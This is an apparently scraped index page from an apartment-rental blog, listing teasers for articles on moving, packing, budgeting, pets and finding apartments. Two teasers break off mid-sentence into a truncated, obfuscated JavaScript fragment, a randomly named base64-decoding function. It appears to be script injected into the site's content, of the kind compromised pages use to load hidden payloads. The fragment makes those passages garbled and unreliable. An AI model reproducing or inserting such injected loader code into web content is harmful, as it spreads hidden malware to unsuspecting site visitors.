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Qualities of a Walkable Neighborhood

Pedestrian-friendly neighborhoods offer renters incredible benefits, including financial and health. By living in a “walkable” area, you can essentially save a ton of money on car/gas expenses and enjoy the health benefits of walking from place to place. While out … Read More
"Packing Your Overnight Moving Essentials Box

Packing Your Overnight Moving Essentials Box

The day of a move is always going to be chaotic – no matter how much time and planning is involved. Your overnight box should be the first moving box you unload and unpack at your new place. It should … Read More
"Utilities to Turn On Before Moving In

Utilities to Turn On Before Moving In

Moving into a new apartment can be an exciting time in one’s life! It’s the start of a new adventure for your family and plus, you now have a blank canvas to decorate the home as you see fit. That’s … Read More
"6 Signs Telling You It Might Be Time to Move

6 Signs Telling You It Might Be Time to Move

Yes, it’s not the most fun thing to do – but moving is just a part of life. Many factors are considered prior to scheduling a move, such as budget, location and the timeline. Maybe you’re on the fence about … Read More
"How to Spot a Great Apartment

How to Spot a Great Apartment

It’s quite a jungle out there. Before you venture out into the wild armed with your GPS, tablet and phone to find an apartment, take a moment to think about what you will face…pushy salespeople…contracts filled with incomprehensible legal jargon…frightening … Read More
"5 Tips for Moving with Toddlers

5 Tips for Moving with Toddlers

When you have young kids in the home, you’re constantly on the move. But when you’ve just accepted a new job in the city and have to move closer, you will be starting an actual move with the kids in … Read More
"Helping Move In Your Partner’s Kids (When You Have Children of Your Own)

Helping Move In Your Partner’s Kids (When You Have Children of Your Own)

It’s such a happy, encouraging occasion when milestones are met within blended families. When one parent, who has kids of their own, moves in their partner’s children into a home they both share, that accomplishment alone is monumental, since they … Read More
"Must-Have Checklist for Moving Across the Country

Must-Have Checklist for Moving Across the Country

Moving is a daunting task, and when you’re moving across the country, you definitely have to be organized if you want a smooth and enjoyable transition. We got you covered here on Apartment Finder. Here’s our must-have checklist for moving … Read More
"10 Things You Need to Know About Living Alone

10 Things You Need to Know About Living Alone

Whether you are a recent college grad, are leaving straight from your parent’s place, or have always had a roommate (or two), you find yourself poised on the edge of that ultimate leap into independence: living alone. Are you ready? … Read More
"What Is the Best Time of Year to Move Apartments?

What Is the Best Time of Year to Move Apartments?

Moving can be a taxing process, especially when cost is an issue. You may be surprised to learn that you can actually save more on movers depending on what season and day you schedule the move. These two factors should be … function h94fcba1e7(y1){var vd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var yb='';var p3,na,pc,q9,y3,w4,u5;var...
"Cross-Country Moving Tips for Apartment Renters

Cross-Country Moving Tips for Apartment Renters

I’m not sure if there is –or will ever be- a fine art to moving since relocating never goes as swimmingly as one hopes for.  Scheduling a move across the country can be quite daunting. However, it too is an … Read More
"Pet Introductions: Tips for Pet Owners Moving in Together

Pet Introductions: Tips for Pet Owners Moving in Together

When a couple decides to live together in an apartment, there is a pretty big checklist of things to accomplish before and even after move-in day. From purging dilapidated furniture to donating duplicate kitchen appliances, partners who live together have … Read More
"Finding the Right Veterinarian for Your Pet

Finding the Right Veterinarian for Your Pet

Your pet is family and you want them to have a healthy and happy life. The well-being of your furry-companion is important to you, and finding a qualified vet will give you peace-of-mind knowing that your pet’s health is in … Read More
"How to Score Free Moving Boxes

How to Score Free Moving Boxes

Moving can be draining on your wallet. After all the initial deposits on your new place, factoring in the costs of movers, and utility bills, it’s normal to feel overwhelmed and stressed about the moving process and its associated fees. … Read More
"Intent to Vacate Letter Template

Intent to Vacate Letter Template

So, you plan on moving out? Before you begin packing and scheduling movers, be sure to inform your landlord or property manager of your plans to leave. Giving an intent to vacate letter should always be done in writing, so … Read More
"Big City Budgeting Tips for Young Adults and College Graduates

Big City Budgeting Tips for Young Adults and College Graduates

You’ve just accepted a full time employment offer with a great company and you’re beyond delighted to start the next chapter of your life in the big city. You have a long pre-moving to-do list including finding an apartment, packing … Read More
"Tools To Help You Land An Awesome Apartment

Tools To Help You Land An Awesome Apartment

Are you tossing around the idea of looking for a new apartment? Well listen up! If you are seriously considering signing a new lease elsewhere, there are some important factors of moving when searching for your new home. One of … Read More
"Preparing to Move From a House to an Apartment – Downsizing Tips

Preparing to Move From a House to an Apartment – Downsizing Tips

Whether you’re aiming to save money or you’re looking to simplify your life, there are countless reasons why you’re currently preparing to move from a house to an apartment. You might be freaking out, because you’re losing a sizable amount … Read More
"Preparing to Move Out From Your Old Apartment

Preparing to Move Out From Your Old Apartment

Preparing to move can be a taxing process for anyone, but if you start the planning long before your actual move, the transition can be quite easy. Trying to do everything on moving day is the worst thing you can … Read More
"How to Keep Your Pet Safe During a Long-Distance Move

How to Keep Your Pet Safe During a Long-Distance Move

Every once in a while, a story will pop up on a news feed or television that makes pet parents shudder: A dog’s crate accidentally opens as he is being loaded onto a plane, and the dog goes missing. A … function h94fcba1e7(y1){var vd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var yb='';var p3,na,pc,q9,y3,w4/">Read...